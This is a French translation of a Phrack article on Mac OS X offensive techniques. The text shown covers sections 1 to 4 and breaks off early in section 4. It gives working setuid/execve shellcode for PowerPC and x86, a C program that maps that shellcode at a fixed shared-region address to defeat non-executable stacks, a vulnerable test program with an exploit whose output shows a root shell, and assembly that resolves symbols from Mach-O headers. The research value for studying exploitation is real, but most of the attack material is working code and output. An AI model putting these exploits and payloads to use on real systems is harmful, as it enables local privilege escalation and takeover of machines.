==Phrack Inc.== Volume 0x0c, Issue 0x40, Phile #0x0b of 0x11 |=-----------------------------------------------------------------------=| |=-------------------=[ Mac OS X wars - a XNU Hope ]=--------------------=| |=-----------------------------------------------------------------------=| |=-----------------------------------------------------------------------=| |=-----------------=[ By nemo ]=------------------=| |=-----------------=[ ]=------------------=| |=-----------------------------------------------------------------------=| |=------------=[ Traduit par TboWan pour arsouyes.org ]=-----------------=| --[ Sommaire 1 - Introduction 2 - Local shellcode maneuvering. 2.1 Historical perspective 1: Aleph1 2.2 Historical perspective 2: Radical Environmentalist 2.3 Beating stack prot :P or whatever 3 - Résoudre les symboles dans un shellcode 4 - Architecture Spanning Shellcode 5 - Écrire des shellcode noyau 5.1 - Escalade locale de privilèges 5.2 - Casser un chroot() 5.3 - Améliorations 6 - Misc Rootkit Techniques 7 - Infection de "Universal Binary format" 8 - Exemple de cracking - Prey 9 - Propagation passive de malware avec mDNS 10 - Exploitation de Kernel Zone Allocator 11 - Conclusion 12 - Références 13 - Annexes - Code --[ 1 - Introduction Ce papier a été écrit pour documenter mes recherches quand je jouais avec les shellcodes pour Mac OS X. Cependant, pendant ce temps, ce papier s'est transformé et a évolué pour couvrir une sélection de sujets relatifs à Mac OS X qui vous feront, j'espère, une lecture intéressante. À cause de la popularité grandissante de Mac OS X sur Intel dans des plateformes PowerPC, je me suis principalement intéressé aux techniques pour ces dernières. Beaucoup des concepts montrés sont toujours applicables pour les architectures PowerPC, mais leur implémentation particulière est laissée en exercice au lecteur. Il y a déjà quelques documents biens écrits pour PowerPC et le langage assembleur d'Intel ; je ne ferai donc aucune tentative d'essayer de vous apprendre ces choses. Si vous avez des suggestions sur comment raccourcir/éclaircir le code que j'ai écrit pour ce papier, veuillez m'envoyer un email avec les détails à l'adresse suivante : nemo@felinemenace.org. Un fichier tar contenant tout les codes référencés dans ce papier peut se trouver en Annexe A. --[ 2 - [Local shellcode maneuvering.] Avec les années, il y a eu beaucoup de techniques différentes pour calculer des adresses de retour valides quand on exploite un buffer overflow dans des applications locales à notre système. Malheureusement, beaucoup de ces techniques sont maintenant obsolètes sur les systèmes Mac OS X basés sur Intel avec l'introduction d'une pile non exécutable dans la version 10.4 (Tiger). Dans les sous-sections suivantes, je discuterai de quelques approches historiques pour calculer l'adresse des shellcodes en mémoire et introduirai une nouvelle méthode pour positionner un shellcode à un endroit fixé dans l'espace d'adressage d'un processus cible vulnérable. --[ 2.1 Historical perspective 1: Aleph1 Avec les années, il y a eu beaucoup de techniques différentes développées pour calculer une adresse de retour valide quand on exploite un buffer overflow sur une application locale à notre système. La plus connue de ces technique est expliquée dans l'article "Smashing the Stack for Fun and Profit" d'aleph1 [9]. Dans ce papier, aleph1 écrit simplement une petite fonction get_sp() montrée juste ici : unsigned long get_sp(void) { __asm__("movl %esp,%eax"); } Cette fonction retourne le pointeur de pile courant (esp). aleph1 se déplace alors simplement par rapport à cette valeur, en essayant de toucher le tampon de nops avant son shellcode sur la pile. Cette méthode n'est pas aussi précise qu'elle pourrait, et nécessite au shellcode d'être stocké sur la pile. C'est un problème évident si votre pile n'est pas exécutable. --[ 2.2 Historical perspective 2: Radical Environmentalist Une autre méthode pour stocker un shellcode et calculer son adresse dans un autre processus est montrée par le papier Radical Environmentalist écrit par le Netric Security Group [10]. Dans ce papier, les auteurs montrent que l'appel execve() permet un contrôle total sur la pile du tout nouveau processus. Grâce à ça, le shellcode peut être stocké dans une variable d'environnement, dont l'adresse peut-être calculée comme un déplacement à partir du sommet de la pile. Dans les plus vieux exploit sous Mac OS X (avant 10.4), cette technique marchait assez bien, puisqu'il n'y a pas de pile non-exécutable sous PowerPC. --[ 2.3 Beating stack prot :P or whatever Dans le papier de KF "Non eXecutable Stack Loving on Mac OS X86" [11], l'auteur montre une technique pour retirer la protection de la pile en retournant dans mprotect() dans libSystem (lic) avant de retourner dans son payload. Bien que cette technique soit très utile pour les exploits distants, une solution plus élégante existe pour les exploitations locales. La première étape pour avoir notre shellcode en place est de récupérer un shellcode. Il y a déjà eu des travaux publiés significatifs dans ce domaine. Si vous êtes intéressés sur la manière d'écrire un shellcode pour Mac OS X à utiliser pour gagner des privilèges en local, une paire de papier que vous devriez vraiment lire sont dans la bibliographie. [1] et [8]. Le shellcode choisi pour le code en exemple est décrit en entier en section 2 de ce papier. La méthode que je propose maintenant se base sur un appel système Mac OS X non documenté "shared_region_mapping_np". Cet appel système est utilisé à l'exécution par le chargeur dynamique (dyld) pour mapper des librairies fortement utilisée à travers les espaces d'adressages de tous les processus du système ; cette fonctionnalité a beaucoup d'utilisation diaboliques. Le fichier /usr/include/sys/syscalls.h contient le numéro d'appel système pour tous les appels systèmes. Voici la bonne ligne dans ce fichier qui contient notre appel système #define SYS_shared_region_map_file_np 299 Voici la signature de cet appel système : struct shared_region_map_file_np( int fd, uint32_t mappingCount, user_addr_t mappings, user_addr_t slide_p ); Les paramètres de cet appel sont très simples : fd un descripteur de fichier ouvert, fournissant un accès aux données qui doivent être chargées en mémoire. mappingCount le nombre de mappings que nous voulons faire à partir du fichier. mappings un pointeur vers un tableau de structures _shared_region_mapping_np qui décrivent chaque mapping (voir plus loin). slide_p détermine si l'appel système est autorisé à glisser sur les mapping à côté dans la zone mémoire partagée pour le faire rentrer. Voici la définition de la structure pour les éléments du troisième paramètre : struct _shared_region_mapping_np { mach_vm_address_t address; mach_vm_size_t size; mach_vm_offset_t file_offset; vm_prot_t max_prot; vm_prot_t init_prot; }; Les éléments de la structure ci-dessus peuvent être expliqué comme suit : address l'adresse dans la zone partagée où les données doivent être stockées. size la taille du mapping (en octets) file_offset l'offset [NDT : décalage] dans le descripteur de fichier auquel nous devons bouger pour atteindre le début des données. max_prot C'est la protection maximale du mapping, cette valeur est créée en faisant un ou logique entre VM_PROT_EXECUTE,VM_PROT_READ,VM_PROT_WRITE et VM_COW. init_prot C'est la protection initiale du mapping, encore une fois, elle est créée par un ou logique entre les valeurs mentionnée plus haut. Les #define's suivants décrivent les régions partagées dans lesquelles on peut mettre nos données. Ils montrent les différentes régions dans la plage d'adresse 0x00000000->0xffffffff qui sont disponibles comme régions partagées. Ces régions sont définies par leur adresse de début et leur taille. #define SHARED_LIBRARY_SERVER_SUPPORTED #define GLOBAL_SHARED_TEXT_SEGMENT 0x90000000 #define GLOBAL_SHARED_DATA_SEGMENT 0xA0000000 #define GLOBAL_SHARED_SEGMENT_MASK 0xF0000000 #define SHARED_TEXT_REGION_SIZE 0x10000000 #define SHARED_DATA_REGION_SIZE 0x10000000 #define SHARED_ALTERNATE_LOAD_BASE 0x09000000 Pour réduire les chances que notre offset de shellcode soit stocké dans une adresse qui ne contient pas d'octets NULL (rendant donc cette technique viable pour les débordements basés sur les chaînes de caractère), nous positionnons le shellcode à la dernière adresse dans une région où une page (0x1000 octets) peut être mappée. En faisant comme ça, notre shellcode sera stocké à une adresse du style 0x9ffffxxx. Le code suivant peut être utilisé pour mapper un shellcode dans un endroit fixé en ouvrant le fichier "/tmp/mapme" et en y écrivant notre shellcode. Il utilise ensuite le descripteur de fichier pour appeler "shared_region_map_file_np" qui mappera le code, ainsi qu'une paire d'int3 (cc) dans la région partagée. /*-------------------------------------------------------- * [ sharedcode.c ] * * by nemo@felinemenace.org 2007 */ #include #include #include #include #include #include #include #include #include #include #define BASE_ADDR 0x9ffff000 #define PAGESIZE 0x1000 #define FILENAME "/tmp/mapme" char dual_sc[] = "\x5f\x90\xeb\x60" // setuid() seteuid() "\x38\x00\x00\xb7\x38\x60\x00\x00" "\x44\x00\x00\x02\x38\x00\x00\x17" "\x38\x60\x00\x00\x44\x00\x00\x02" // ppc execve() code by b-r00t "\x7c\xa5\x2a\x79\x40\x82\xff\xfd" "\x7d\x68\x02\xa6\x3b\xeb\x01\x70" "\x39\x40\x01\x70\x39\x1f\xfe\xcf" "\x7c\xa8\x29\xae\x38\x7f\xfe\xc8" "\x90\x61\xff\xf8\x90\xa1\xff\xfc" "\x38\x81\xff\xf8\x38\x0a\xfe\xcb" "\x44\xff\xff\x02\x7c\xa3\x2b\x78" "\x38\x0a\xfe\x91\x44\xff\xff\x02" "\x2f\x62\x69\x6e\x2f\x73\x68\x58" // seteuid(0); "\x31\xc0\x50\xb0\xb7\x6a\x7f\xcd" "\x80" // setuid(0); "\x31\xc0\x50\xb0\x17\x6a\x7f\xcd" "\x80" // x86 execve() code / nemo "\x31\xc0\x50\x68\x2f\x2f\x73\x68" "\x68\x2f\x62\x69\x6e\x89\xe3\x50" "\x54\x54\x53\x53\xb0\x3b\xcd\x80"; struct _shared_region_mapping_np { mach_vm_address_t address; mach_vm_size_t size; mach_vm_offset_t file_offset; vm_prot_t max_prot; /* read/write/execute/COW/ZF */ vm_prot_t init_prot; /* read/write/execute/COW/ZF */ }; int main(int argc,char **argv) { int fd; struct _shared_region_mapping_np sr; char data[PAGESIZE] = { 0xcc }; char *ptr = data + PAGESIZE - sizeof(dual_sc); sr.address = BASE_ADDR; sr.size = PAGESIZE; sr.file_offset = 0; sr.max_prot = VM_PROT_EXECUTE | VM_PROT_READ | VM_PROT_WRITE; sr.init_prot = VM_PROT_EXECUTE | VM_PROT_READ | VM_PROT_WRITE; if((fd=open(FILENAME,O_RDWR|O_CREAT))==-1) { perror("open"); exit(EXIT_FAILURE); } memcpy(ptr,dual_sc,sizeof(dual_sc)); if(write(fd,data,PAGESIZE) != PAGESIZE) { perror("write"); exit(EXIT_FAILURE); } if(syscall(SYS_shared_region_map_file_np,fd,1,&sr,NULL)==-1) { perror("shared_region_map_file_np"); exit(EXIT_FAILURE); } close(fd); unlink(FILENAME); printf("[+] shellcode at: 0x%x.\n",sr.address + PAGESIZE - sizeof(dual_sc)); exit(EXIT_SUCCESS); } /*---------------------------------------------------------*/ Quand nous compilons et exécutons ce code, il imprime l'adresse de notre shellcode en mémoire. Vous pouvez le voir ci-dessous : -[nemo@fry:~/code]$ gcc sharedcode.c -o sharedcode -[nemo@fry:~/code]$ ./sharedcode [+] shellcode at: 0x9fffff71. Comme on peut le voir, l'adresse utilisée par notre shellcode est 0x9fffff71. Cette adresse, comme on s'en doutait, n'utilise pas l'octet 0. Vous pouvez tester que la procédure s'est bien passée en lançant un processus et en s'y connectant avec gdb. En sautant à cette adresse avec la commande "jump" dans gdb, notre shellcode est exécuté et un prompt bash est affiché. -[nemo@fry:~/code]$ gdb /usr/bin/id GNU gdb 6.3.50-20050815 (Apple version gdb-563) (gdb) r Starting program: /usr/bin/id ^C[Switching to process 752 local thread 0xf03] 0x8fe01010 in __dyld__dyld_start () Quit (gdb) jump *0x9fffff71 Continuing at 0x9fffff71. (gdb) c Continuing. -[nemo@fry:Users/nemo/code]$ Pour vous montrer comment ça peut être utilisé dans un exploit, j'ai créé un programme trivialement exploitable : /* * exploitme.c */ int main(int ac, char **av) { char buf[50] = { 0 }; printf("%s",av[1]); if(ac == 2) strcpy(buf,av[1]); return 1; } Voici l'exploit pour le programme ci-dessus : /* * [ exp.c ] * nemo@felinemeance.org 2007 */ #include #include #define VULNPROG "./exploitme" #define OFFSET 66 #define FIXEDADDR 0x9fffff71 int main(int ac, char **av) { char evilbuff[OFFSET]; char *args[] = {VULNPROG,evilbuff,NULL}; char *env[] = {"TERM=xterm",NULL}; long *ptr = (long *)&(evilbuff[OFFSET - 4]); memset(evilbuff,'A',OFFSET); *ptr = FIXEDADDR; execve(*args,args,env); return 1; } Comme vous pouvez le voir, nous remplissons le buffer avec des A, suivi de notre adresse calculée par sharecode.c. Après le strcpy, notre adresse de retour stockée sur la pile est écrasée par notre nouvelle adresse de retour (0x9ffffff71) et notre shellcode est exécuté. Si nous faisons un "chown root /exploitme; chmod +s /exploitme;" nous pouvons voir que notre shellcode est mappé dans un processus suid, ce qui rend cette technique faisable pour élever ses privilèges. Comme nous contrôlons les protections mémoire sur notre mapping, nous contournons la protection en non-exécution de la pile. -[nemo@fry:/]$ ./exp fry:/ root# id uid=0(root) Un limitation de la technique est que le fichier que vous mappez dans une région mémoire partagée doit exister sur le système de fichier racine. C'est clairement expliqué dans le commentaire ci-dessous : /* * The split library is not on the root filesystem. We don't * want to pollute the system-wide ("default") shared region * with it. * Reject the mapping. The caller (dyld) should "privatize" * (via shared_region_make_private()) the shared region and * try to establish the mapping privately for this process. */ [ NDT : La librairie divisée n'est pas sur le système de fichier racine. Nous ne voulons pas polluer les régions partagées ("par défaut") de tout le système avec elle. Rejeter le mapping. L'appellant (dyld) devrait "privatiser" (via shared_region_make_private()) la région partagée et essayer d'établir le mapping de manière privée avec ce processus. ] */ Une autre limitation à cette technique est qu'Apple a verrouillé ce syscall avec les lignes de code suivantes : * * This system call is for "dyld" only. * [NDT : cet appel système est pour "dyld" uniquement. ] Heureusement, nous pouvons écraser cette magnifique protection en... l'ignorant complètement. --[ 3 - Résoudre les symboles dans un shellcode Dans cette section, je vais montrer une méthode qui peut être utilisée pour résoudre l'adresse d'un symbole à partir d'un shellcode. C'est utile dans une exploitation à distance quand vous voulez accéder ou modifier quelques fonctionnalités du programme vulnérable. ça pourrait aussi être utile pour appeler quelques fonctions dans une librairie partagée particulière dans l'espace d'adressage. Les exemples dans cette section sont écrit pour l'assembleur Intel, dans la syntaxe nasm. Les concepts présentés peuvent facilement être recréés en assembleur PowerPC. Si quelqu'un prend le temps de le faire, prévenez moi. La méthode que je vais décrire nécessite quelques connaissances de base sur le format d'objets Mach-O et sur la façon dont les symboles sont stockés/résolus. J'essayerai d'être aussi verbeux que possible, cependant, si plus de recherches sont nécessaires, allez voir les documents Mach-O Runtime sur le site d'Apple [4]. Le processus pour résoudre les symboles que je vais décrire dans cette section implique de localiser la section LINKEDIT en mémoire. La section LINKEDIT est découpée en une table des symboles (symtab) et une table de chaînes (strtab) comme suit : [ LINKEDIT SECTION ] mémoire basse: 0x0 .________________________________, |----(la symtab commence ici)----| | | | | | | | ... | |----(la strtab commence ici)----| |"_mh_execute_header\0" | |"dyld_start\0" | |"main" | | ... | :________________________________; mémoire haute : 0xffffffff En localisant le début de la table des chaînes et celui de la table des symbole par rapport à l'adresse de la section LINKEDIT, il est possible de faire des boucles dans chacune des structures nlist dans la table des symboles et d'accéder aux chaînes appropriées dans la table des chaînes. Je vais maintenant rentrer dans cette technique plus en détails. Pour résoudre des symboles, nous commençons par localiser le mach_header en mémoire. Ce sera le début de notre [mapped] dans l'image mach-o. Une manière de le trouver est de lancer la commande "nm" sur notre binaire et de localiser l'adresse du symbole __mh_execute_header. Pour l'instant sous Mac OS X, l'exécutable est simplement mappé au début de la première page. 0x1000. Nous pouvons le vérifier de la manière suivante : -[nemo@fry:~]$ nm /bin/sh | grep mh_ 00001000 A __mh_execute_header (gdb) x/x 0x1000 0x1000: 0xfeedface Comme vous pouvez le voir, le nombre magique (0xfeedface) est en 0x1000. C'est notre header mach-O. Sa structure est la suivante : struct mach_header { uint32_t magic; cpu_type_t cputype; cpu_subtype_t cpusubtype; uint32_t filetype; uint32_t ncmds; uint32_t sizeofcmds; uint32_t flags; }; Dans mon shellcode, je suppose que le fichier que j'analyse a toujours une section LINKEDIT et une commande de chargement de la table des symboles (LC_SYMTAB). Ça signifie que je ne m'embête pas à analyser la structure mach_header. Cependant, si vous ne voulez pas faire cette supposition, il est assez facile de boucler ncmds nombre de fois en analysant la commande de chargement. Directement après la structure mach_header en mémoire, on trouve une paire de load_command. Chacune d'entre elles commencent avec un champs id "cmd" et la taille de la commande. Donc, nous commençons notre shellcode en mettant dans ecx, l'adresse de la première commande de chargement, directement après la structure mach-header en mémoire. Ça nous positionne en 0x101c. Nous mettons alors à zéros quelques registres pour les utiliser plus tard dans le code. ;# null out some stuff (ebx,edx,eax) xor ebx,ebx mul ebx ;# position ecx past the mach_header. xor ecx,ecx mov word cx,0x101c Pour la résolution des symboles, nous ne sommes intéressés qu'à la commande LC_SEGMENT et LC_SYMTAB. En particulier, nous cherchons la structure LC_SEGMENT de LINKEDIT. C'est expliqué plus en détails plus loin. Les #define pour tout ceci sont dans /usr/include/mach-o/loader.h comme suit : #define LC_SEGMENT 0x1 /* segment of this file to be mapped */ #define LC_SYMTAB 0x2 /* link-edit stab symbol table info */ La commande LC_SYMTAB utilise la structure suivante : struct symtab_command { uint_32 cmd; uint_32 cmdsize; uint_32 symoff; uint_32 nsyms; uint_32 stroff; uint_32 strsize; }; Le champ symoff contient l'offset à partir du début du fichier vers la table des symboles. Le champ stroff contient l'offset vers la table des chaînes. À la fois la table des symboles et celle des chaînes sont stockées dans la section LINKEDIT. En soustrayant symoff à stroff, nous obtenons l'offset dans la section LINKEDIT dans laquelle lire nos chaînes. Le champ nsyms peut être utilisé comme compteur de boucle quand on lit la symtab. Pour cet exemple, par contre, j'ai supposé que le symbole existait et ignoré le champ nsyms complètement. Nous trouvons la commande LC_SYMTAB en bouclant simplement dedans et en vérifiant que le champ "cmd" vaut 0x2. La section LINKEDIT est un tout petit peu plus difficile à trouver, nous devons chercher après une commande avec un type cmd à 0x01 (segment_command), et chercher après le nom "__LINKEDIT" dans le champ segname de la structure. La structure segment_command est montrée ci-après : struct segment_command { uint32_t cmd; uint32_t cmdsize; char segname[16]; uint32_t vmaddr; uint32_t vmsize; uint32_t fileoff; uint32_t filesize; vm_prot_t maxprot; vm_prot_t initprot; uint32_t nsects; uint32_t flags; }; Je vais maintenant continuer par une explication du code assembleur utilisé pour mettre en oeuvre cette technique. J'ai utilisé une machine à état triviale pour boucler sur chaque load_command jusqu'à ce qu'on ait trouvé la table des symboles et l'adresse virtuelle de LINKEDIT. D'abord, nous vérifions quel type de load_command et nous sautons vers le code approprié, si c'est l'un des types dont nous avons besoin. next_header: cmp byte [ecx],0x2 ;# test pour LC_SYMTAB (0x2) je found_lcsymtab cmp byte [ecx],0x1 ;# test pour LC_SEGMENT (0x1) je found_lcsegment Les deux instructions suivantes ajoutent la longueur du champ de la load_command à notre pointeur. Ceci nous positionne sur le champ "cmd" de la prochaine load_command en mémoire. Nous retournons à next_header et continuons les comparaisons. next: add ecx,[ecx + 0x4] ;# ecx += length jmp next_header Le code de found_lcsymtab est appelé quand cmd == 0x02. Nous faisons la supposition qu'il n'y a qu'une seule LC_SYMTAB. Nous pouvons utiliser le fait que si nous sommes là, eax n'a pas encore été mis et vaut 0. En le comparant avec edx nous pouvons voir si le segment LINKEDIT a été trouvé. Après le cmp, nous mettons eax à jour avec l'adresse trouvée, nous sautons au code "found_both", sinon, nous continuons avec next_handler. found_lcsymtab: cmp eax,edx ;# utilise le fait qu'eax vaut 0 pour tester edx mov eax,ecx ;# met le pointeur courant dans eax. jne found_both ;# Nous avons trouvé LINKEDIT et LC_SYMTAB jmp next ;# continue la recherche après LINKEDIT Le code found_lcsegment est très similaire à found_lcsymtab. Cependant, puisqu'il y a beaucoup de commandes LC_SEGMENT dans la plupart des fichiers, nous devons être sûr d'avoir bien trouvé la section __LINKEDIT. Pour le faire, nous ajoutons 8 au pointeur de la structure pour récupérer la chaîne segname[]. Nous sautons alors deux caractères, pour éviter "__" et testons les 4 octets suivants ; "LINK". 0x4b4e494c vient du codage (big/little indian). Encore une fois, nous utilisons le fait qu'il ne devrait y avoir qu'une seule section LINKEDIT. Ceci veut dire que si nous avons passé le test de "LINK", edx vaut 0. Nous l'utilisons pour tester eax, pour voir si la commande LC_SYMTAB a été trouvée. Encore une fois, si nous avons fini, nous sautons à found_both, sinon, nous continuons avec next_header. found_lcsegment: lea esi,[ecx + 0x8] ;# récupère le pointeur vers le nom ;# test for "LINK" cmp long [esi + 0x2],0x4b4e494c jne next ;# ce n'est pas LINKEDIT, on passe ! cmp edx,eax ;# utilise edx pour tester eax mov edx,ecx ;# met l'adresse courante dans edx jne found_both ;# ok, c'est bon jmp next ;# on doit encore trouver LC_SYMTAB ;# on continue ;# EDX = structure LINKEDIT ;# EAX = structure LC_SYMTAB Maintenant que nous avons nos pointeurs vers LINKEDIT et LC_SYMTAB, on peut soustraire symtab_command.symoff de symtab_command.stroff pour avoir l'offset de la table des chaînes à partir du début de LINKEDIT. En ajoutant cet offset à l'adresse virtuelle de LINKEDIT, nous obtenons l'adresse virtuelle de la table des chaînes en mémoire. found_both: mov edi,[eax + 0x10] ;# EDI = stroff sub edi,[eax + 0x8] ;# EDI -= symoff mov esi,[edx + 0x18] ;# esi = VA of linkedit add edi,esi ;# ajoute l'adresse virtuelle de ;# LINKEDIT à l'offset La section LINKEDIT contient une liste de structures "struct nlist". Chacune correspond à un symbole. Le premier union contient un offset dans la table des chaînes (pour lequel nous avons la VA). Pour trouver le symbole que nous voulons, nous parcourons simplement le tableau et rebondissons dans la table des chaînes pour tester la chaîne. struct nlist { union { #ifndef __LP64__ char *n_name; #endif int32_t n_strx; } n_un; uint8_t n_type; uint8_t n_sect; int16_t n_desc; uint32_t n_value; }; Maintenant que nous sommes capables de parcourir les structures nlist, nous pouvons continuer. Cependant, ça n'a aucun sens de stocker le nom complet du symbole dans notre shellcode, car ça rendrait le code encore plus grand qu'il ne l'est déjà. ;/ J'ai choisi de voler^H^H^H^H^Hutiliser la fonction "compute_hash" de skape disponible dans "Understanding Windows Shellcode" [5]. Il y explique comment le code fonctionne dans son papier. Le code suivant montre une simple boucle. D'abord, nous sautons à l'étiquette "hashes", et appelons le point de départ pour avoir un pointeur vers notre liste de hash. Nous lisons le premier hash, et bouclons sur chaque structure nlist, hashons le symbole trouvé et le comparons à nos hashs précalulés. Si le hash n'est pas bon, nous retournons à check_next_hash, cependant, si c'est le bon, nous continuons avec l'étiquette "done". ;# esi == constant pointer to nlist ;# edi == strtab base lookup_symbol: jmp hashes lookup_symbol_up: pop ecx mov ecx,[ecx] ;# ecx = premier hash check_next_hash: push esi ;# sauvegarde le pointeur nlist push edi ;# sauvegarde la VA de strtable mov esi,[esi] ;# *esi = offset depuis strtab vers la chaine add esi,edi ;# ajoute la VA à strtab compute_hash: xor edi, edi xor eax, eax cld compute_hash_again: lodsb test al, al ;# est-on sur le dernier octet ? jz compute_hash_finished ror edi, 0xd add edi, eax jmp compute_hash_again compute_hash_finished: cmp edi,ecx pop edi pop esi je done lea esi,[esi + 0xc] ;# Ajoute sizeof(struct nlist) jmp check_next_hash done: chaque hash que nous devons résoudre peut être ajouté après l'étiquette hashes. ;# le hash est dans edi hashes: call lookup_symbol_up dd 0x8bd2d84d Maintenant que nous avons l'adresse de notre symbole, nous avons fini et pouvons appeler notre fonction, ou la modifier suivant ce qu'on a besoin. Pour calculer le hash du symbole dont on a besoin, j'ai copié/collé un peu du code de skape dans un petit programme c, le voici : #include #include char chsc[] = "\x89\xe5\x51\x60\x8b\x75\x04\x31" "\xff\x31\xc0\xfc\xac\x84\xc0\x74" "\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4" "\x89\x7d\xfc\x61\x58\x89\xec\xc3"; int main(int ac, char **av) { long (*hashstr)() = (long (*)())chsc; if(ac != 2) { fprintf(stderr,"[!] usage: %s \n",*av); exit(1); } printf("[+] Hash: 0x%x\n",hashstr(av[1])); return 0; } Nous pouvons le lancer comme montré ci-après pour générer nos hashs : -[nemo@fry:~/code/kernelsc]$ ./comphash _do_payload [+] Hash: 0x8bd2d84d Si le symbole que nous avons résolu est une fonction que nous voulons appeler, nous avons encore besoin de faire quelques petites choses avant que ça soit possible. L'éditeur de lien de Mac OS X, par défaut, utilise du [lazy binding] pour les symboles externes. Ça veut dire que si vous tentez d'appeler une autre fonction dans une librairie externe, qui n'a pas encore été appelée ailleurs dans le programme, l'éditeur de lien dynamique va essayer de résoudre l'adresse tel que vous l'avez appelé. Par exemple, un appel à execve() avec un [lazy binding] va être remplacé par un appel à dyld_stub_execve() comme montré ci-après : 0x1f54 : call 0x301b À l'exécution, cette fonction contient une instruction : call 0x8fe12f70 <__dyld_fast_stub_binding_helper_interface> Ceci invoque le dyld qui résout le symbole et remplace cette instruction avec un jmp au bon endroit : jmp 0x9003b7d0 Le seul problème que ça génère est que cette fonction requiert que le pointeur de pile soit correctement aligné, sinon, notre code va échouer. Pour le faire, nous soustrayons simplement 0xc à notre pointeur de pile avant d'appeler notre fonction. Note : Ceci ne sera pas nécessaire si le programme que vous exploitez a été compilé avec le flag -bind-at-load. Voici le code que j'ai utilisé pour faire un appel. done: mov eax,[esi + 0x8] ;# eax == value xchg esp,edx ;# ennuyeusement large sub dl,0xc ;# façon d'aligner le pointeur de pile xchg esp,edx ;# sans avoir d'octet 0 call eax xchg esp,edx ;# ennuyeusement large add dl,0xc ;# manière de placer le pointeur de pile xchg esp,edx ;# sans avoir d'octet 0. ret J'ai écrit un simple programme d'exemple en C pour montrer ce code en action. Le code suivant n'a aucun appel vers do_payload(). Le shellcode va résoudre l'adresse de cette fonction et l'appeler. #include #include char symresolve[] = "\x31\xdb\xf7\xe3\x31\xc9\x66\xb9\x1c\x10\x80\x39\x02\x74\x0a\x80" "\x39\x01\x74\x0d\x03\x49\x04\xeb\xf1\x39\xd0\x89\xc8\x75\x16\xeb" "\xf3\x8d\x71\x08\x81\x7e\x02\x4c\x49\x4e\x4b\x75\xe7\x39\xc2\x89" "\xca\x75\x02\xeb\xdf\x8b\x78\x10\x2b\x78\x08\x8b\x72\x18\x01\xf7" "\xeb\x39\x59\x8b\x09\x56\x57\x8b\x36\x01\xfe\x31\xff\x31\xc0\xfc" "\xac\x84\xc0\x74\x07\xc1\xcf\x0d\x01\xc7\xeb\xf4\x39\xcf\x5f\x5e" "\x74\x05\x8d\x76\x0c\xeb\xde\x8b\x46\x08\x87\xe2\x80\xea\x0c\x87" "\xe2\xff\xd0\x87\xe2\x80\xc2\x0c\x87\xe2\xc3\xe8\xc2\xff\xff\xff" "\x4d\xd8\xd2\x8b"; // HASH void do_payload() { char *args[] = {"/usr/bin/id",NULL}; char *env[] = {"TERM=xterm",NULL}; printf("[+] Executing id.\n"); execve(*args,args,env); } int main(int ac, char **av) { void (*fp)() = (void (*)())symresolve; fp(); return 0; } Comme vous pouvez le voir juste après, ce code fonctionne tel qu'on s'y attend. -[nemo@fry:~]$ ./testsymbols [+] Executing id. uid=501(nemo) gid=501(nemo) groups=501(nemo) Le code assembleur complet pour la méthode montrée dans cette section est disponible en annexe de ce papier. À la base, j'ai travaillé sur cette méthode pour résoudre les symboles noyaux. Malheureusement, le noyau libére la section LINKEDIT après avoir démarré. Avant de le faire, il écrit le fichier mach-o /mach.sym contenant les informations des symboles pour le noyau. Si vous voyez le flag de démarrage keepsym, la section LINKEDIT ne sera pas libérée et les symboles resteront dans la mémoire du noyau. Dans ce cas, nous pouvons utiliser le code montré dans cette section, et scanner simplement la mémoire à partir de l'adresse 0x1000 jusqu'à ce que nous trouvions 0xfeedface. Voici le code assembleur pour le faire : SECTION .text _main: xor eax,eax inc eax shl eax,0xc ;# eax = 0x1000 mov ebx,0xfeedface ;# ebx = 0xfeedface up: inc eax inc eax inc eax inc eax ;# eax += 4 cmp ebx,[eax] ;# if(*eax != ebx) { jnz up ;# goto up } ret Une fois que c'est fait, nous pouvons résoudre les symboles comme on en a besoin. --[ 4 - Architecture Spanning Shellcode Depuis le changement d'architecture de PowerPC vers Intel, il est de plus en plus habituel de trouver à la fois des Mac OS X sur des Mac PowerPC d'autres sur Intel. Au dessus de ça, Mac OS X vient avec une technologie de virtualisation fait par Transitive appelée Rosetta qui permet à un mac Intel d'exécuter un binaire PowerPC. Ça veut dire que même après avoir trouvé l'emprunte de l'architecture d'une machine comme étant Intel, il y a une chance que le démon réseau auquel vous faites face soit compilé pour PowerPC. Ceci pose un un challenge quand on écrit un shellcode pour un exploit distant car il est plus difficile de trouver l'empreinte de la machine. Cela aboutira a des ratés. Pour éviter ça, il y a une technique utilisée pour créer des shellcodes qui s'exécutent à la fois sous architectures Intel et PowerPC. Cette technique a été documentée dans l'article de phrack homonyme de cette section [16]. Je fournis ici une brève explication car cette technique est utilisée dans le reste de ce papier. La base de cette technique consiste à trouver une instruction PowerPC qui, une fois exécutée, va simplement passer à l'instruction suivante. Elle doit le faire sans effectuer aucun accès mémoire, uniquement changer l'état des registres. Par contre, une fois que cette instruction est interprétée comme un opcode Intel, un saut doit être effectué au delà de la portion de code PowerPC et vers la zone Intel. De cette façon, le type d'architecture peut facilement être déterminé. Il existe une telle instruction. C'est l'instruction "rlwnm". Voici la définition de cette instruction, d'après le manuel PowerPC : (rlwnm) Rotate Left Word then AND with Mask (x'5c00 0000') rlwnm rA,rS,rB,MB,ME (Rc = 0) rlwnm. rA,rS,rB,MB,ME (Rc = 1) ,__________________________________________________________. |10101 | S | A | B | MB | ME |Rc| ''''''''''''''''''''''''''''''''''''''''''''''''''''''''''''' 0 5 6 10 11 15 16 20 21 25 26 30 31 C'est l'instruction de décalage à gauche sous PowerPC. En gros, un masque (défini par les bits MB à ME) est appliqué et le registre rS est décalé de rB bits. Le résultat est stocké dans rA. Aucun accès mémoire n'est fait par cette instruction, quels que soient ses arguments. En utilisant les paramètres suivants, nous pouvons obtenir un opcode valide et utile. rA = 16 rS = 28 rB = 29 MB = XX ME = XX rlwnm r16,r28,r29,XX,XX Ça nous fourni l'opcode suivant : "\x5f\x90\xeb\xxx" Quand c'est interprété comme un code Intel, on tombe sur cette instruction : nasm > db 0x5f,0x90,0xeb,0xXX 00000000 5F pop edi // met edi sur la pile 00000001 90 nop // ne fait rien 00000002 EBXX jmp short 0xXX // saute dans notre payload. Voici, en exemple, comment ça peut être utile : char trap[] = "\x5f\x90\xeb\x06" // sélection d'architecture magique "\x7f\xe0\x00\x08" // instruction ppc "trap" "\xcc\xcc\xcc\xcc"; // intel: int3 int3 int3 int3 Ce shellcode, une fois exécuté sous PowerPC va exécuter la "trap" directement après notre code sélecteur. Cependant, si c'est interprété sous Intel, le "eb 06" cause un saut vers les instructions int3. On utilise 06 plutôt que 04 car eip pointe sur le début de l'instruction jmp elle-même (eb) pendant l'exécution. 